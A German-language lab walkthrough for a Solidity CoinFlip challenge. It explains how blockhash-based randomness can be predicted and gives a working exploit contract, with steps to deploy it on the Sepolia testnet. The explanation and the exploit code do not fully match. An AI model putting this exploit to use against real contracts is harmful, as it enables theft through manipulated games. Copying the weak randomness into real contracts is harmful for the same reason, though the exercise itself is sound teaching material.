Coinflip
Dieser Exploit funktioniert nicht auf der virtuellen Blockchain, die von Remix bereitgestellt wird. Nutzen Sie daher das Sepolia Testnetzwerk. Melden Sie sich dazu in MetaMask an und stellen Sie in Remix die Environment auf “Injected Provider (MetaMask)”.
Gegeben ist folgender Contract:
pragma solidity ^0.8.21;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; // Factor ist so gewählt, dass in der Berechnung in Zeile 23 entweder 0 oder 1 rauskommt.
uint256 public blockValue;
bool public myGuess;
bool public side;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool win){
blockValue = uint256(blockhash(block.number-1));
myGuess = _guess;
if (lastHash == blockValue) {
revert("Gleiche Bloecke");
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
//return true;
} else {
consecutiveWins = 0;
//return false;
}
}
}
Versuchen Sie, zehn Mal hintereinander die richtige Seite der Münze zu werfen. (consecutiveWins = 10);
Erklärung Coinflip-Contract:
1. Schutz vor mehreren TX in einem Block
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
Wenn mehr als 1 TX im Block ist, die flip() auruft, wird nur die erste TX genommen.
2. Münzwurf
uint256 coinFlip = blockValue / FACTOR;
FACTOR = 2^255 Bit lang. Damit hängt das Ergebnis der Division nur von dem 1. (ganz linken Bit von blockValue ab. Ist dieses 1, ist coinFlip = 1, ist dieses 0, ist coinFlip = 0.)
3. Conditional Operator
bool side = coinFlip == 1 ? true : false;
Wenn coinFlip == 1, dann wird side = true, ansonsten wird side = false.
4. Länge der Glückssträhne
uint256 public consecutiveWins;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
consecutiveWins ist eine öffentliche Variable.
Wenn side = _guess, wird die Zahl der zusammenhängenden richtigen Angaben (consecutiveWins) um 1 erhöht.
Wenn side != _guess, wird die Zahl der zusammenhängenden richtigen Angaben (consecutiveWins) = 0 gesetzt.
Lösung
Um ganz sicher zehn Mal hintereinander gewinnen zu können, muss man immer die richtige Lösung an den CoinFlip-Contract übergeben. Dies lässt sich bewerkstelligen, indem man blockValue / FACTOR selbst berechnet und den richtigen Wert bei dem Aufruf von flip() übergibt.
Dies muss im gleichen Block geschehen, da side vom Blockhash abhängt.
Dies ist möglich, indem man einen 2. Contract schreibt, der die Rechnung durchführt und anschließend den CoinFlip-Contract aufruft. Dies geschieht im gleichen Block.
Der Exploit-Contract sieht so aus: Sie finden ihn auch in der Datei 06_Coinflip_Exploit.txt.
pragma solidity ^0.8.21;
contract coinflipexploit{
address coinflipAddress = // Hier Adresse Ihres CoinFlip-Contracts eintragen.
uint256 factor = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
bool public side;
bytes public res;
function exploit() public returns(bool) {
uint256 blockvalue = uint256(blockhash(block.number-1));
uint256 coinflip = uint256(uint256(blockvalue)/ factor);
side = coinflip == 1 ? true : false;
(bool success, bytes memory result) = coinflipAddress.call(abi.encodeWithSignature("flip(bool)",side));
res = result;
return true;
}
}
Erklärung Exploit-Contract
1. Interface für anzugreifenden Contract deklarieren.
contract Coinflip{
function flip(bool _guess) public returns (bool);
}
Die Funktion flip() ist nur deklariert. Sie enthält keinen Code = Interface.
2. Nutzung des CoinFlip Contracts
Coinflip public flipper;
Deklarieren der Vertragsvariable
flipper = Coinflip(0x038F160aD632409BFB18582241d9Fd88C1A072Ba);
Instanziieren des Vertrags, indem die Adresse des Exploit-Vertrags angegeben wird.
3. Berechnen der Lösung und Aufruf des CoinFlip-Contracts
function exploit() public returns(bool) {
// Berechnung durchführen wie in CoinFlip-Contract
uint256 blockvalue = uint256(blockhash(block.number-1));
uint256 coinflip = uint256(uint256(blockvalue)/ factor);
side = coinflip == 1 ? true : false;
bool result = flipper.flip(side); // Aufruf des CoinFlip-Contracts und Übergabe des Ergebnisses.
return true;
}
}
Ablauf
- CoinFlip-Contract deployen, wenn noch nicht geschehen.
- Exploit-Contract kopieren
- Adresse des CoinFlip-Contracts eintragen
- Exploit-Contract deployen
- Funktion exploit() aufrufen.
- Variable consecutiveWins müsste sich stets erhöhen.